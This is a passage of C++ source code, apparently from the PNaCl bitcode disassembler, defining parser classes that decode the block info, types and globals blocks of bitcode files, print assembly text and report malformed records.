Errs << "\n";
} else {
Errs << Op << ": Not allowed for type: " << *Ty << "\n";
}
}
}
/// Maximun exponent that can be used for alignments.
static const unsigned MaxAlignmentExponent = 29;
/// Convert alignment exponent (i.e. power of two (or zero)) to the
/// corresponding alignment to use. If alignment is too large, it generates
/// an error message and returns 0.
unsigned getAlignmentValue(uint64_t Exponent);
// ******************************************************
// The following return the corresponding methods/fields
// from the the assembly formatter/objdumper.
// ******************************************************
naclbitc::TokenTextDirective &Semicolon() {
return AssemblyFormatter.Semicolon;
}
naclbitc::TokenTextDirective &Colon() {
return AssemblyFormatter.Colon;
}
naclbitc::SpaceTextDirective &Space() {
return AssemblyFormatter.Space;
}
naclbitc::TokenTextDirective &Comma() {
return AssemblyFormatter.Comma;
}
naclbitc::OpenTextDirective &OpenParen() {
return AssemblyFormatter.OpenParen;
}
naclbitc::CloseTextDirective &CloseParen() {
return AssemblyFormatter.CloseParen;
}
naclbitc::OpenTextDirective &OpenAngle() {
return AssemblyFormatter.OpenAngle;
}
naclbitc::CloseTextDirective &CloseAngle() {
return AssemblyFormatter.CloseAngle;
}
naclbitc::OpenTextDirective &OpenCurly() {
return AssemblyFormatter.OpenCurly;
}
naclbitc::CloseTextDirective &CloseCurly() {
return AssemblyFormatter.CloseCurly;
}
naclbitc::OpenTextDirective &OpenSquare() {
return AssemblyFormatter.OpenSquare;
}
naclbitc::CloseTextDirective &CloseSquare() {
return AssemblyFormatter.CloseSquare;
}
naclbitc::EndlineTextDirective &Endline() {
return AssemblyFormatter.Endline;
}
naclbitc::StartClusteringDirective &StartCluster() {
return AssemblyFormatter.StartCluster;
}
naclbitc::FinishClusteringDirective &FinishCluster() {
return AssemblyFormatter.FinishCluster;
}
raw_ostream &Tokens() {
return AssemblyFormatter.Tokens();
}
raw_ostream &Errors() {
return ObjDump.Error();
}
raw_ostream &Warnings() {
if (ReportWarningsAsErrors) return Errors();
return ObjDump.Warning();
}
const std::string &GetAssemblyIndent() const {
return AssemblyFormatter.GetIndent();
}
unsigned GetAssemblyNumTabs() const {
return AssemblyFormatter.GetNumTabs();
}
void IncAssemblyIndent() {
AssemblyFormatter.Inc();
}
void DecAssemblyIndent() {
AssemblyFormatter.Dec();
}
void IncRecordIndent() {
ObjDump.IncRecordIndent();
}
void DecRecordIndent() {
ObjDump.DecRecordIndent();
}
void ObjDumpFlush() {
ObjDump.Flush();
}
void ObjDumpSetRecordBitAddress(uint64_t Bit) {
ObjDump.SetRecordBitAddress(Bit);
}
void ObjDumpWrite(uint64_t Bit,
const NaClBitcodeRecordData &Record,
NaClBcIndexSize_t AbbrevIndex =
naclbitc::ABBREV_INDEX_NOT_SPECIFIED) {
ObjDump.Write(Bit, Record, AbbrevIndex);
}
void ObjDumpWrite(uint64_t Bit,
const NaClBitcodeRecord &Record) {
ObjDump.Write(Bit, Record.GetRecordData(), Record.GetAbbreviationIndex());
}
AssemblyTextFormatter::TypeDirective &
TokenizeType(Type *Typ) {
return AssemblyFormatter.TokenizeType(Typ);
}
AssemblyTextFormatter::TypeDirective &
TokenizeFunctionType(FunctionType *Type, BitcodeId *FcnId) {
return AssemblyFormatter.TokenizeFunctionType(Type, FcnId);
}
AssemblyTextFormatter::TypeDirective &
TokenizeFunctionSignature(FunctionType *Typ, BitcodeId *FcnId) {
return AssemblyFormatter.TokenizeFunctionSignature(Typ, FcnId);
}
AssemblyTextFormatter::AbbreviationDirective &
TokenizeAbbreviation(NaClBitCodeAbbrev *Abbrev) {
return AssemblyFormatter.TokenizeAbbreviation(Abbrev);
}
AssemblyTextFormatter::AbbrevIndexDirective &
TokenizeAbbrevIndex(NaClBitcodeRecord &Record,
NaClBcIndexSize_t NumGlobalAbbreviations) {
return AssemblyFormatter.TokenizeAbbrevIndex(Record,
NumGlobalAbbreviations);
}
private:
// A placeholder module for associating context and data layout.
Module Mod;
// The output stream to generate disassembly into.
naclbitc::ObjDumpStream &ObjDump;
// Listener used to get abbreviations as they are read.
NaClBitcodeParserListener AbbrevListener;
// DataLayout to use.
const DataLayout DL;
// The set of allowed intrinsics.
PNaClAllowedIntrinsics AllowedIntrinsics;
// The formatter to use to format assembly code.
AssemblyTextFormatter AssemblyFormatter;
// The header appearing before the beginning of the input stream.
NaClBitcodeHeader &Header;
// The list of known types (index i defines the type associated with
// type index i).
std::vector<Type*> TypeIdType;
// The list of known function signatures (index i defines the type
// signature associated with function index i).
std::vector<FunctionType*> FunctionIdType;
// boolean flag defining if function id is an intrinsic.
std::vector<bool> FunctionIdIsIntrinsic;
// The list of record bit addresses associated with corresponding
// declaration of function IDs.
std::vector<uint64_t> FunctionIdAddress;
// The number of function indices currently defined.
NaClBcIndexSize_t NumFunctions;
// The number of global indices currently defined.
NaClBcIndexSize_t NumGlobals;
// The expected number of global indices (i.e. value of count record
// in the globals block).
NaClBcIndexSize_t ExpectedNumGlobals;
// The list of known parameter types (index i defines the type
// associated with parameter index i).
std::vector<Type*>ParamIdType;
// The number of parameter indices currently defined.
NaClBcIndexSize_t NumParams;
std::vector<Type*>ConstantIdType;
// The number of constant indices currently defined.
NaClBcIndexSize_t NumConstants;
// The list of known instruction types (index i defines the type
// associated with valued instruction index i).
std::vector<Type*> InstIdType;
// The number of valued instructions currently defined.
NaClBcIndexSize_t NumValuedInsts;
// The maximum number of instruction values, based on function block size.
NaClBcIndexSize_t MaxValuedInst =
std::numeric_limits<NaClBcIndexSize_t>::max();
// Models an unknown type.
Type *UnknownType;
// Models the pointer type.
Type *PointerType;
// Models a result of a comparison.
Type *ComparisonType;
// Keeps list of function indicies (in the order found in the bitcode)
// that correspond to defined functions.
std::vector<NaClBcIndexSize_t> DefinedFunctions;
// The number of function indices currently known to be defined.
NaClBcIndexSize_t NumDefinedFunctions;
// Holds the number of global abbreviations defined for each block.
std::map<unsigned, NaClBcIndexSize_t> GlobalAbbrevsCountMap;
};
static_assert(
(1u << NaClDisTopLevelParser::MaxAlignmentExponent)
== Value::MaximumAlignment,
"Inconsistency between Value.MaxAlignment and PNaCl alignment limit");
unsigned NaClDisTopLevelParser::getAlignmentValue(uint64_t Exponent) {
if (Exponent > MaxAlignmentExponent + 1) {
Errors() << "Alignment can't be greater than 2**" << MaxAlignmentExponent
<< ". Found: 2**" << (Exponent - 1) << "\n";
return 0;
}
return (1 << static_cast<unsigned>(Exponent)) >> 1;
}
BitcodeId NaClDisTopLevelParser::GetBitcodeId(NaClBcIndexSize_t Index) {
if (Index < NumFunctions) {
return BitcodeId('f', Index);
}
Index -= NumFunctions;
if (Index < ExpectedNumGlobals) {
return BitcodeId('g', Index);
}
Index -= ExpectedNumGlobals;
if (Index < NumParams) {
return BitcodeId('p', Index);
}
Index -= NumParams;
if (Index < NumConstants) {
return BitcodeId('c', Index);
}
Index -= NumConstants;
return BitcodeId('v', Index);
}
Type *NaClDisTopLevelParser::GetValueType(NaClBcIndexSize_t Index,
bool UnderlyingType) {
NaClBcIndexSize_t Idx = Index;
if (Idx < NumFunctions)
return UnderlyingType ? GetFunctionType(Idx) : PointerType;
Idx -= NumFunctions;
if (Idx < ExpectedNumGlobals)
return PointerType;
Idx -= ExpectedNumGlobals;
if (Idx < NumParams)
return GetParamType(Idx);
Idx -= NumParams;
if (Idx < NumConstants)
return GetConstantType(Idx);
Idx -= NumConstants;
return GetInstType(Idx);
}
// Base class of all block parsers for the bitcode file. Handles
// common actions needed by derived blocks.
//
// Note: This class also handles blocks with unknown block ID's.
class NaClDisBlockParser : public NaClBitcodeParser {
protected:
/// Constructor for the top-level block parser.
NaClDisBlockParser(unsigned BlockID, NaClDisTopLevelParser *Context)
: NaClBitcodeParser(BlockID, Context),
Context(Context){
InitAbbreviations();
}
/// Constructor for nested block parsers.
NaClDisBlockParser(unsigned BlockID, NaClDisBlockParser *EnclosingParser)
: NaClBitcodeParser(BlockID, EnclosingParser),
Context(EnclosingParser->Context) {
InitAbbreviations();
}
public:
~NaClDisBlockParser() override {
// Be sure to flush any remaining errors reported at end of block.
ObjDumpFlush();
}
bool ParseBlock(unsigned BlockID) override;
protected:
void EnterBlock(unsigned NumWords) override;
void ExitBlock() override;
void ProcessRecord() override;
void ProcessAbbreviation(unsigned BlockID, NaClBitCodeAbbrev *Abbrev,
bool IsLocal) override;
void InitAbbreviations() {
NumGlobalAbbreviations = Context->GetNumGlobalAbbreviations(GetBlockID());
NumLocalAbbreviations = 0;
}
// Prints the block header instruction for the block. Called by EnterBlock.
virtual void PrintBlockHeader();
// Dumps the corresponding record for a block enter.
void DumpEnterBlockRecord();
// Returns the identifier for the next local abbreviation appearing in
// the block.
BitcodeId NextLocalAbbreviationId() {
return BitcodeId('a', NumLocalAbbreviations, false);
}
AssemblyTextFormatter::AbbrevIndexDirective &TokenizeAbbrevIndex() {
return Context->TokenizeAbbrevIndex(Record, NumGlobalAbbreviations);
}
// *****************************************************************
// The following are dispatching methods that call the corresponding
// method on the Context (i.e. NaClDisTopLevelParser).
// *****************************************************************
/// Returns a directive to tokenize the given type.
AssemblyTextFormatter::TypeDirective &TokenizeType(Type *Type) {
return Context->TokenizeType(Type);
}
/// Returns a directive to tokenize the given function type,
/// using the given function id.
AssemblyTextFormatter::TypeDirective
&TokenizeFunctionType(FunctionType *Type, BitcodeId *FcnId) {
return Context->TokenizeFunctionType(Type, FcnId);
}
/// Returns a directive to tokenize the function signature, given the
/// type of the function signature, and the given function id.
AssemblyTextFormatter::TypeDirective
&TokenizeFunctionSignature(FunctionType *Typ, BitcodeId *FcnId) {
return Context->TokenizeFunctionSignature(Typ, FcnId);
}
AssemblyTextFormatter::AbbreviationDirective &TokenizeAbbreviation(
NaClBitCodeAbbrev *Abbrev) {
return Context->TokenizeAbbreviation(Abbrev);
}
naclbitc::TokenTextDirective &Semicolon() {
return Context->Semicolon();
}
naclbitc::TokenTextDirective &Colon() {
return Context->Colon();
}
naclbitc::SpaceTextDirective &Space() {
return Context->Space();
}
naclbitc::TokenTextDirective &Comma() {
return Context->Comma();
}
naclbitc::OpenTextDirective &OpenParen() {
return Context->OpenParen();
}
naclbitc::CloseTextDirective &CloseParen() {
return Context->CloseParen();
}
naclbitc::OpenTextDirective &OpenAngle() {
return Context->OpenAngle();
}
naclbitc::CloseTextDirective &CloseAngle() {
return Context->CloseAngle();
}
naclbitc::OpenTextDirective &OpenCurly() {
return Context->OpenCurly();
}
naclbitc::CloseTextDirective &CloseCurly() {
return Context->CloseCurly();
}
naclbitc::OpenTextDirective &OpenSquare() {
return Context->OpenSquare();
}
naclbitc::CloseTextDirective &CloseSquare() {
return Context->CloseSquare();
}
naclbitc::EndlineTextDirective &Endline() {
return Context->Endline();
}
naclbitc::StartClusteringDirective &StartCluster() {
return Context->StartCluster();
}
naclbitc::FinishClusteringDirective &FinishCluster() {
return Context->FinishCluster();
}
raw_ostream &Tokens() {
return Context->Tokens();
}
raw_ostream &Errors() {
return Context->Errors();
}
raw_ostream &Warnings() {
return Context->Warnings();
}
bool ErrorAt(naclbitc::ErrorLevel Level, uint64_t Bit,
const std::string &Message) final {
return Context->ErrorAt(Level, Bit, Message);
}
const std::string &GetAssemblyIndent() const {
return Context->GetAssemblyIndent();
}
unsigned GetAssemblyNumTabs() const {
return Context->GetAssemblyNumTabs();
}
void IncAssemblyIndent() {
Context->IncAssemblyIndent();
}
void DecAssemblyIndent() {
Context->DecAssemblyIndent();
}
void IncRecordIndent() {
Context->IncRecordIndent();
}
void DecRecordIndent() {
Context->DecRecordIndent();
}
void ObjDumpFlush() {
Context->ObjDumpFlush();
}
void ObjDumpWrite(uint64_t Bit,
const NaClBitcodeRecordData &Record,
NaClBcIndexSize_t AbbrevIndex =
naclbitc::ABBREV_INDEX_NOT_SPECIFIED) {
Context->ObjDumpWrite(Bit, Record, AbbrevIndex);
}
void ObjDumpWrite(uint64_t Bit,
const NaClBitcodeRecord &Record) {
Context->ObjDumpWrite(Bit, Record);
}
void ObjDumpSetRecordBitAddress(uint64_t Bit) {
Context->ObjDumpSetRecordBitAddress(Bit);
}
void InstallType(Type *Ty) {
Context->InstallType(Ty);
}
Type *GetType(NaClBcIndexSize_t Index) {
return Context->GetType(Index);
}
NaClBcIndexSize_t GetNumTypes() const {
return Context->GetNumTypes();
}
bool isValidValueType(Type *Ty) const {
return Context->isValidValueType(Ty);
}
FunctionType *GetFunctionType(NaClBcIndexSize_t Index) {
return Context->GetFunctionType(Index);
}
NaClBcIndexSize_t GetNumFunctions() const {
return Context->GetNumFunctions();
}
void IncNumGlobals() {
Context->IncNumGlobals();
}
NaClBcIndexSize_t GetNumGlobals() const {
return Context->GetNumGlobals();
}
void InstallFunctionType(FunctionType *Ty) {
return Context->InstallFunctionType(Ty, Record.GetStartBit());
}
void InstallDefinedFunction(NaClBcIndexSize_t Index) {
Context->InstallDefinedFunction(Index);
}
BitcodeId GetBitcodeId(NaClBcIndexSize_t Id) {
return Context->GetBitcodeId(Id);
}
void InstallParamType(Type *Ty) {
Context->InstallParamType(Ty);
}
NaClBcIndexSize_t GetNumParams() const {
return Context->GetNumParams();
}
void InstallConstantType(Type *ConstantType) {
Context->InstallConstantType(ConstantType);
}
Type *GetConstantType(NaClBcIndexSize_t Index) {
return Context->GetConstantType(Index);
}
NaClBcIndexSize_t GetNumConstants() const {
return Context->GetNumConstants();
}
void InstallInstType(Type *Ty, NaClBcIndexSize_t Index) {
Context->InstallInstType(Ty, Index);
}
void InstallInstType(Type *Ty) {
Context->InstallInstType(Ty);
}
NaClBcIndexSize_t GetNumValuedInstructions() const {
return Context->GetNumValuedInstructions();
}
Type *GetValueType(NaClBcIndexSize_t Id, bool UnderlyingType = false) {
return Context->GetValueType(Id, UnderlyingType);
}
Type *GetFunctionValueType(NaClBcIndexSize_t Id) {
return GetValueType(Id, /* UnderlyingType = */ true);
}
Type *GetUnknownType() const {
return Context->GetUnknownType();
}
Type *GetPointerType() const {
return Context->GetPointerType();
}
Type *GetComparisonType() const {
return Context->GetComparisonType();
}
Type *GetVoidType() const {
return Context->GetVoidType();
}
Type *GetFloatType() const {
return Context->GetFloatType();
}
Type *GetDoubleType() const {
return Context->GetDoubleType();
}
Type *GetIntegerType(unsigned Size) const {
return Context->GetIntegerType(Size);
}
const char *VerifyIntArithmeticOp(const char *Op, Type *OpTy) {
return Context->VerifyIntArithmeticOp(Op, OpTy);
}
protected:
// The context parser that contains decoding state.
NaClDisTopLevelParser *Context;
// The number of global abbreviations defined for this block.
NaClBcIndexSize_t NumGlobalAbbreviations;
// The current number of local abbreviations defined for this block.
NaClBcIndexSize_t NumLocalAbbreviations;
};
bool NaClDisBlockParser::ParseBlock(unsigned BlockId) {
// Only called if we don't know the details about the block.
ObjDumpSetRecordBitAddress(GetBlock().GetStartBit());
Errors() << "Don't know how to parse block " << BlockId
<< ", when in block " << GetBlockID() << "\n";
NaClDisBlockParser Parser(BlockId, this);
return Parser.ParseThisBlock();
}
void NaClDisBlockParser::PrintBlockHeader() {
Errors() << "Unknown block id found: " << GetBlockID() << "\n";
Tokens() << "unknown" << Space() << OpenCurly()
<< Space() << Space() << "// BlockID = "
<< GetBlockID() << Endline();
}
void NaClDisBlockParser::EnterBlock(unsigned NumWords) {
PrintBlockHeader();
DumpEnterBlockRecord();
IncRecordIndent();
IncAssemblyIndent();
}
void NaClDisBlockParser::ExitBlock() {
DecAssemblyIndent();
DecRecordIndent();
Tokens() << CloseCurly() << Endline();
NaClBitcodeRecordData Exit;
Exit.Code = naclbitc::BLK_CODE_EXIT;
ObjDumpWrite(Record.GetStartBit(), Exit, naclbitc::END_BLOCK);
}
void NaClDisBlockParser::DumpEnterBlockRecord() {
// TODO(kschimpf): Better integrate this with the bitstream reader
// (which currently doesn't build any records).
NaClBitcodeRecordData Enter;
Enter.Code = naclbitc::BLK_CODE_ENTER;
Enter.Values.push_back(GetBlockID());
Enter.Values.push_back(Record.GetCursor().getAbbrevIDWidth());
ObjDumpWrite(GetBlock().GetStartBit(), Enter, naclbitc::ENTER_SUBBLOCK);
}
void NaClDisBlockParser::ProcessAbbreviation(unsigned BlockID,
NaClBitCodeAbbrev *Abbrev,
bool IsLocal) {
Tokens() << NextLocalAbbreviationId() << Space() << "=" << Space()
<< "abbrev" << Space() << TokenizeAbbreviation(Abbrev)
<< Semicolon() << Endline();
++NumLocalAbbreviations;
ObjDumpWrite(Record.GetStartBit(), Record);
}
void NaClDisBlockParser::ProcessRecord() {
// Note: Only called if block is not understood. Hence, we
// only report the records.
ObjDumpWrite(Record.GetStartBit(), Record);
}
/// Parses and disassembles the blockinfo block.
class NaClDisBlockInfoParser : public NaClDisBlockParser {
public:
NaClDisBlockInfoParser(unsigned BlockID,
NaClDisBlockParser *EnclosingParser)
: NaClDisBlockParser(BlockID, EnclosingParser) {
}
~NaClDisBlockInfoParser() override {}
private:
void PrintBlockHeader() override;
void SetBID() override;
void ProcessAbbreviation(unsigned BlockID, NaClBitCodeAbbrev *Abbrev,
bool IsLocal) override;
/// Returns the abbreviation id for the next global abbreviation
/// to be defined for the given block id.
BitcodeId NextGlobalAbbreviationId(unsigned BlockID) {
return BitcodeId('a', Context->GetNumGlobalAbbreviations(BlockID), true);
}
};
void NaClDisBlockInfoParser::PrintBlockHeader() {
Tokens() << "abbreviations" << Space() << OpenCurly()
<< Space() << Space() << "// BlockID = "
<< GetBlockID() << Endline();
}
void NaClDisBlockInfoParser::SetBID() {
std::string BlockName;
uint64_t BlockID = Record.GetValues()[0];
switch (BlockID) {
case naclbitc::MODULE_BLOCK_ID:
Tokens() << "module";
break;
case naclbitc::CONSTANTS_BLOCK_ID:
Tokens() << "constants";
break;
case naclbitc::FUNCTION_BLOCK_ID:
Tokens() << "function";
break;
case naclbitc::VALUE_SYMTAB_BLOCK_ID:
Tokens() << "valuesymtab";
break;
case naclbitc::TYPE_BLOCK_ID_NEW:
Tokens() << "types";
break;
case naclbitc::GLOBALVAR_BLOCK_ID:
Tokens() << "globals";
break;
default:
Tokens() << "block" << OpenParen() << BlockID << CloseParen();
Errors() << "Block id " << BlockID << " not understood.\n";
break;
}
Tokens() << Colon() << Endline();
ObjDumpWrite(Record.GetStartBit(), Record);
}
void NaClDisBlockInfoParser::ProcessAbbreviation(unsigned BlockID,
NaClBitCodeAbbrev *Abbrev,
bool IsLocal) {
IncAssemblyIndent();
Tokens() << NextGlobalAbbreviationId(BlockID) << Space() << "=" << Space()
<< "abbrev" << Space() << TokenizeAbbreviation(Abbrev)
<< Semicolon() << Endline();
Context->IncNumGlobalAbbreviations(BlockID);
DecAssemblyIndent();
ObjDumpWrite(Record.GetStartBit(), Record);
}
/// Parses and disassembles the types block.
class NaClDisTypesParser : public NaClDisBlockParser {
public:
NaClDisTypesParser(unsigned BlockID,
NaClDisBlockParser *EnclosingParser)
: NaClDisBlockParser(BlockID, EnclosingParser),
ExpectedNumTypes(0),
IsFirstRecord(true)
{
}
~NaClDisTypesParser() override;
private:
void PrintBlockHeader() override;
void ProcessRecord() override;
/// Returns the value id for the next type to be defined.
BitcodeId NextTypeId() {
return BitcodeId('t', GetNumTypes());
}
// Installs unknown type as definition of next type.
void InstallUnknownTypeForNextId();
NaClBcIndexSize_t ExpectedNumTypes;
bool IsFirstRecord;
};
NaClDisTypesParser::~NaClDisTypesParser() {
if (GetNumTypes() != ExpectedNumTypes) {
Errors() << "Expected " << ExpectedNumTypes << " types but found: "
<< GetNumTypes() << "\n";
}
}
void NaClDisTypesParser::PrintBlockHeader() {
Tokens() << "types" << Space() << OpenCurly()
<< Space() << Space() << "// BlockID = " << GetBlockID()
<< Endline();
}
void NaClDisTypesParser::InstallUnknownTypeForNextId() {
Type *UnknownType = GetUnknownType();
Tokens() << NextTypeId() << Space() << "=" << Space()
<< TokenizeType(UnknownType) << Semicolon()
<< TokenizeAbbrevIndex() << Endline();
InstallType(UnknownType);
}
void NaClDisTypesParser::ProcessRecord() {
ObjDumpSetRecordBitAddress(Record.GetStartBit());
const NaClBitcodeRecord::RecordVector &Values = Record.GetValues();
switch (Record.GetCode()) {
case naclbitc::TYPE_CODE_NUMENTRY: {
// NUMENTRY: [numentries]
uint64_t Size = 0;
if (Values.size() == 1) {
Size = Values[0];
} else {
Errors() << "Count record should have 1 argument. Found: "
<< Values.size() << "\n";
}
if (!IsFirstRecord) {
Errors() << "Count record not first record of types block\n";
}
if (Size > NaClBcIndexSize_t_Max) {
Errors() << "Count record size too big: " << Size << "\n";
}
Tokens() << "count" << Space() << Size << Semicolon()
<< TokenizeAbbrevIndex() << Endline();
ExpectedNumTypes = Size;
break;
}
case naclbitc::TYPE_CODE_VOID: {
// VOID
if (!Values.empty())
Errors() << "Void record shouldn't have arguments. Found: "
<< Values.size() << "\n";
Type *VoidType = GetVoidType();
Tokens() << NextTypeId() << Space() << "=" << Space()
<< TokenizeType(VoidType) << Semicolon()
<< TokenizeAbbrevIndex() << Endline();
InstallType(VoidType);
break;
}
case naclbitc::TYPE_CODE_FLOAT: {
// FLOAT
if (!Values.empty())
Errors() << "Float record shoudn't have arguments. Found: "
<< Values.size() << "\n";
Type *FloatType = GetFloatType();
Tokens() << NextTypeId() << Space() << "=" << Space()
<< TokenizeType(FloatType) << Semicolon()
<< TokenizeAbbrevIndex() << Endline();
InstallType(FloatType);
break;
}
case naclbitc::TYPE_CODE_DOUBLE: {
// DOUBLE
if (!Values.empty())
Errors() << "Double record shound't have arguments. Found: "
<< Values.size() << "\n";
Type *DoubleType = GetDoubleType();
Tokens() << NextTypeId() << Space() << "=" << Space()
<< TokenizeType(DoubleType) << Semicolon()
<< TokenizeAbbrevIndex() << Endline();
InstallType(DoubleType);
break;
}
case naclbitc::TYPE_CODE_INTEGER: {
// INTEGER: [width]
uint64_t Size;
if (Values.size() == 1) {
Size = Values[0];
} else {
Errors() << "Integer record should have one argument. Found: "
<< Values.size() << "\n";
Size = 32;
}
switch (Size) {
case 1:
case 8:
case 16:
case 32:
case 64: {
break;
}
default:
if (!IgnorePNaClABIChecks) {
Errors() << "Integer record contains bad integer size: "
<< Size << "\n";
Size = 32;
}
break;
}
Type *IntType = GetIntegerType(Size);
Tokens() << NextTypeId() << Space() << "=" << Space()
<< TokenizeType(IntType) << Semicolon()
<< TokenizeAbbrevIndex() << Endline();
InstallType(IntType);
break;
}
case naclbitc::TYPE_CODE_VECTOR: {
// VECTOR: [numelts, eltty]
if (Values.size() != 2) {
Errors() << "Vector record should contain two arguments. Found: "
<< Values.size() << "\n";
InstallUnknownTypeForNextId();
break;
}
Type *BaseType = GetType(Values[1]);
if (!(BaseType->isIntegerTy()
|| BaseType->isFloatTy()
|| BaseType->isDoubleTy())) {
Type *ErrorRecoveryTy = GetIntegerType(32);
Errors() << "Vectors can only be defined on primitive types. Found "
<< *BaseType << ". Assuming " << *ErrorRecoveryTy
<< " instead.\n";
BaseType = ErrorRecoveryTy;
}
uint64_t NumElements = Values[0];
Type *VecType = VectorType::get(BaseType, NumElements);
if (!IgnorePNaClABIChecks &&
!PNaClABITypeChecker::isValidVectorType(VecType)) {
Errors() << "Vector type " << *VecType << " not allowed.\n";
}
Tokens() << NextTypeId() << Space() << "=" << Space()
<< TokenizeType(VecType) << Semicolon()
<< TokenizeAbbrevIndex() << Endline();
InstallType(VecType);
break;
}
case naclbitc::TYPE_CODE_FUNCTION: {
// FUNCTION: [vararg, retty, paramty x N]
if (Values.size() < 2) {
Errors()
<< "Function record should contain at least 2 arguments. Found: "
<< Values.size() << "\n";
InstallUnknownTypeForNextId();
break;
}
if (Values[0]) {
Errors() << "Functions with variable length arguments is not supported\n";
}
Type *ReturnType = GetType(Values[1]);
if (!(isValidValueType(ReturnType) || ReturnType->isVoidTy())) {
Type *ReplaceType = GetIntegerType(32);
Errors() << "Invalid return type. Found: " << *ReturnType
<< ". Assuming: " << *ReplaceType << "\n";
ReturnType = ReplaceType;
}
SmallVector<Type*, 8> Signature;
for (size_t i = 2; i < Values.size(); ++i) {
Type *Ty = GetType(Values[i]);
if (!isValidValueType(Ty)) {
Type *ReplaceTy = GetIntegerType(32);
Errors() << "Invalid type for parameter " << (i - 1) << ". Found: "
<< *Ty << ". Assuming: " << *ReplaceTy << "\n";
Ty = ReplaceTy;
}
Signature.push_back(Ty);
}
Type *FcnType = FunctionType::get(ReturnType, Signature, Values[0]);
Tokens() << NextTypeId() << Space() << "=" << Space()
<< StartCluster() << TokenizeType(FcnType)
<< Semicolon() << FinishCluster() << TokenizeAbbrevIndex()
<< Endline();
InstallType(FcnType);
break;
}
default:
Errors() << "Unknown record code in types block. Found: "
<< Record.GetCode() << "\n";
break;
}
ObjDumpWrite(Record.GetStartBit(), Record);
IsFirstRecord = false;
}
/// Parses and disassembles the globalvars block.
class NaClDisGlobalsParser : public NaClDisBlockParser {
public:
NaClDisGlobalsParser(unsigned BlockID,
NaClDisBlockParser *EnclosingParser)
: NaClDisBlockParser(BlockID, EnclosingParser),
NumInitializers(0),
InsideCompound(false),
BaseTabs(GetAssemblyNumTabs()+1) {}
~NaClDisGlobalsParser() override {}
private:
void PrintBlockHeader() override;
void ProcessRecord() override;
void ExitBlock() override;
// Expected number of initializers associated with last globalvars
// record
NaClBcIndexSize_t NumInitializers;
// True if last globalvars record was defined by a compound record.
bool InsideCompound;
// Number of tabs used to indent elements in the globals block.
unsigned BaseTabs;
// Returns the ID for the next defined global.
BitcodeId NextGlobalId() {
return BitcodeId('g', GetNumGlobals());
}
// Prints out the close initializer "}" if necessary, and fixes
// the indentation to match previous indentation.
void InsertCloseInitializer();
uint32_t GetExpectedNumGlobals() const {
return Context->GetExpectedNumGlobals();
}
};
void NaClDisGlobalsParser::PrintBlockHeader() {
Tokens() << "globals" << Space() << OpenCurly()
<< Space() << Space() << "// BlockID = " << GetBlockID()
<< Endline();
}
void NaClDisGlobalsParser::InsertCloseInitializer() {
if (InsideCompound) {
while (BaseTabs + 1 < GetAssemblyNumTabs()) DecAssemblyIndent();
Tokens() << CloseCurly() << Endline();
}
while (BaseTabs < GetAssemblyNumTabs()) DecAssemblyIndent();
ObjDumpFlush();
NumInitializers = 0;
InsideCompound = false;
}
void NaClDisGlobalsParser::ExitBlock() {
if (NumInitializers > 0) {
BitcodeId LastGlobal('g', (GetNumGlobals()-1));
Errors() << "More initializers for " << LastGlobal << " expected: "
<< NumInitializers << "\n";
}
if (GetNumGlobals() != GetExpectedNumGlobals()) {
Errors() << "Expected " << GetExpectedNumGlobals()
<< " globals but found: " << GetNumGlobals() << "\n";
}
NaClDisBlockParser::ExitBlock();
}
void NaClDisGlobalsParser::ProcessRecord() {
ObjDumpSetRecordBitAddress(Record.GetStartBit());
const NaClBitcodeRecord::RecordVector &Values = Record.GetValues();
switch (Record.GetCode()) {
case naclbitc::GLOBALVAR_VAR: {
// VAR: [align, isconst]
if (Values.size() != 2) {
Errors() << "Globalvar record expects two arguments. Found: "
<< Values.size() << "\n";
break;
}
if (GetNumGlobals() == GetExpectedNumGlobals()) {
Errors() << "Exceeded expected number of globals: "
<< GetExpectedNumGlobals() << "\n";
}
if (NumInitializers > 0) {
Errors() << "Previous initializer list too short. Expects "
<< NumInitializers << " more initializers\n";
InsertCloseInitializer();
}
uint32_t Alignment = Context->getAlignmentValue(Values[0]);
Tokens() << StartCluster() << (Values[1] ? "const" : "var")
<< Space() << NextGlobalId()
<< Comma() << FinishCluster() << Space()
<< StartCluster() << "align" << Space() << Alignment
<< Comma() << FinishCluster() << TokenizeAbbrevIndex()
<< Endline();
IncAssemblyIndent();
IncNumGlobals();
NumInitializers = 1;
break;
}
case naclbitc::GLOBALVAR_COMPOUND:
// COMPOUND: [size]
if (Values.size() != 1) {
Errors() << "Compound record expects one argument. Found: "
<< Values.size() << "\n";
break;
}
if (NumInitializers == 1) {
if (InsideCompound) {
Errors() << "Nested initialization records not allowed\n";
InsertCloseInitializer();
}
} else {
Errors() << "Compound record must follow globalvars record\n";
InsertCloseInitializer();
}
Tokens() << StartCluster() << "initializers" << Space()
<< Values[0] << FinishCluster() << Space()
<< OpenCurly() << TokenizeAbbrevIndex() << Endline();
// Check that ILP32 assumption met.
if (Values[0] > MaxNaClGlobalVarInits)
Errors() << "Too many initializers for global var: "
<< Values[0] << "\n";
IncAssemblyIndent();
NumInitializers = Values[0];
InsideCompound = true;
break;
case naclbitc::GLOBALVAR_ZEROFILL:
// ZEROFILL: [size]
if (Values.size() != 1) {
Errors() << "Zerofill record expects one argument. Found: "
<< Values.size() << "\n";
break;
}
if (NumInitializers == 0) {
Errors() << "Zerofill initializer not associated with globalvar record\n";
}
Tokens() << "zerofill" << Space() << Values[0] << Semicolon()
<< TokenizeAbbrevIndex() << Endline();
--NumInitializers;
break;
case naclbitc::GLOBALVAR_DATA: {
// DATA: [b0, b1, ...]
if (Values.empty()) {
Errors() << "Globals data record must have arguments.\n";
}
if (NumInitializers == 0) {
Errors() << "Data initializer not associated with globalvar record\n";
}
Tokens() << StartCluster() << OpenCurly();
for (size_t i = 0; i < Values.size(); ++i) {
if (i > 0) Tokens() << Comma() << FinishCluster() << Space();
uint64_t Byte = Values[i];
if (Byte >= 256) {
Errors() << "Invalid byte value in data record: " << Byte << "\n";
Byte &= 0xFF;
}
if (i > 0) Tokens() << StartCluster();
Tokens() << format("%3u", static_cast<unsigned>(Byte));
}
Tokens() << CloseCurly() << FinishCluster() << TokenizeAbbrevIndex()
<< Endline();
--NumInitializers;
break;
}
case naclbitc::GLOBALVAR_RELOC:
// RELOC: [val, [addend]]
if (Values.empty() || Values.size() > 2) {
Errors() << "Invalid reloc record size: " << Values.size() << "\n";
break;
}
if (NumInitializers == 0) {
Errors() <<
"Relocation initializer not associated with globalvar record\n";
}
Tokens() << "reloc" << Space() << StartCluster() << GetBitcodeId(Values[0]);
if (Values.size() == 2) {
int32_t Addend = static_cast<int32_t>(Values[1]);
char Operator = '+';
